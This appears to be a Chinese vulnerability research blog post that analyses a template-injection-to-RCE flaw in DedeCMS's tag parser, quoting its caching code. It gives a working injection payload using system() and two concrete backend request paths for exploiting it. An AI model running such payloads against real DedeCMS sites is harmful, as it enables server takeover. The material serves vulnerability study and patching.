LoadSource()
在/include/dedetag.class.php的DedeTagParse类下有两个函数LoadSource
和LoadString

实际上LoadString
调用的就是LoadSource
这个类是专门用来解析dedeCMS独有标签的一个类
这里可以通过直接传入可控字符串去让dede解析,所以导致了最后的SSTI
这里首先创建了一个缓存文件用于存放我们的模板,将我们输入的str写入
LoadTemplate()
接着从我们的缓存文件去解析模板

这里不会走进LoadCache(),因为dede并没有处理我们的模板并解析创建一个模板文件
于是从文件中读取我们刚刚写入的模板,存入属性SourceString中,走进ParseTemplet()
ParseTemplet()
1 2 3 4 5 6 7 8 9 10
| function ParseTemplet() {
....
if($this->IsCache) { $this->SaveCache(); } }
|
这里将处理我们模板中的文本和标签的过程省略了,他实际上做的是把模板参加然后把标签和对应的文本存入$ctag数组中
直接进入SaveCache()
SaveCache()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| function SaveCache() { $fp = fopen($this->CacheFile.'.txt',"w"); fwrite($fp,$this->TempMkTime."\n"); fclose($fp); $fp = fopen($this->CacheFile,"w"); flock($fp,3); fwrite($fp,'<'.'?php'."\r\n"); $errmsg = ''; if(is_array($this->CTags)) { foreach($this->CTags as $tid=>$ctag) { $arrayValue = 'Array("'.$ctag->TagName.'",'; if (!$this->CheckDisabledFunctions($ctag->InnerText, $errmsg)) { fclose($fp); @unlink($this->taghashfile); @unlink($this->CacheFile); @unlink($this->CacheFile.'.txt'); die($errmsg); } $arrayValue .= '"'.str_replace('$','\$',str_replace("\r","\\r",str_replace("\n","\\n",str_replace('"','\"',str_replace("\\","\\\\",$ctag->InnerText))))).'"'; $arrayValue .= ",{$ctag->StartPos},{$ctag->EndPos});"; fwrite($fp,"\$z[$tid]={$arrayValue}\n"); if(is_array($ctag->CAttribute->Items)) { foreach($ctag->CAttribute->Items as $k=>$v) { $v = str_replace("\\","\\\\",$v); $v = str_replace('"',"\\".'"',$v); $v = str_replace('$','\$',$v); $k = trim(str_replace("'","",$k)); if($k=="") { continue; } if($k!='tagname') { fwrite($fp,"\$z[$tid][4]['$k']=\"$v\";\n"); } } } } } fwrite($fp,"\n".'?'.'>'); fclose($fp); }
|
如上述所说,这里把刚刚从文件中解析的内容存入Ctag中再把他按照一定的格式写入,可以注意到,这里其实写入的是一个php文件
这时我们在/data/tplcache中可以看见这三个文件

第一个就是将我们输入的str写入的模板文件,第二个就是解析出来写入的php文件,第三个是模板文件的更新时间
于是我们回到LoadTemplate()

这回就会进入到我们的LoadCache()方法中了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| function LoadCache($filename) { global $cfg_tplcache,$cfg_tplcache_dir; if(!$this->IsCache) { echo "not cache!"; return FALSE; } $cdir = dirname($filename); $cachedir = DEDEROOT.$cfg_tplcache_dir; $ckfile = str_replace($cdir,'',$filename).substr(md5($filename),0,16).'.inc'; $ckfullfile = $cachedir.'/'.$ckfile; $ckfullfile_t = $cachedir.'/'.$ckfile.'.txt'; $this->CacheFile = $ckfullfile; $this->TempMkTime = filemtime($filename); if(!file_exists($ckfullfile)||!file_exists($ckfullfile_t)) { echo "not file"; return FALSE; }
$fp = fopen($ckfullfile_t,'r'); $time_info = trim(fgets($fp,64)); fclose($fp); if($time_info != $this->TempMkTime) { return FALSE; }
include($this->CacheFile); ... }
|
最后这里就会直接包含我们的模板文件了
所以我们把重心放在dedeCMS是如何将我们传入的字符串到php文件的这一转换过程就够了
这是dedeCMS比较核心的一个功能,我们随便点击一个界面,就可能看到我们的缓存目录下重现了上述过程
输入的字符串

渲染成的PHP文件

在官方文档中可以找到关于标签的详细介绍
DedeCMS内容标签 | 织梦DedeCMS帮助中心
在源码中也可以看到标签的固定格式

会渲染成

这里可以通过双引号闭合来实现写入恶意代码
比如
1
| {dede:ewoji");system('calc');///}
|

再执行一次即可

寻找可控点
上面提到,如果LoadString或者LoadSource函数的内容可控,我们就可以直接RCE,所以我们全局搜索这两个函数
随便找就可以找到可以控制点
1
| /dede/co_get_corule.php?notes={dede:ewoji");system('calc');///}&job=1
|
和
1 2 3
| POST /dede/tag_test_action.php
dopost=make&partcode={dede:ewoji");system('calc');///}&typeid=0&Submit=提交测试
|
实际上可以控制的点很多,包括前台的一些功能,和开启会员功能后/member下的一些功能,这里没仔细看,只随便找了后台的两个点就结束了
大部分可以传入LoadSource函数的字符串都是从数据库查询而来,或许可以通过sql注入来实现组合拳,还有待挖掘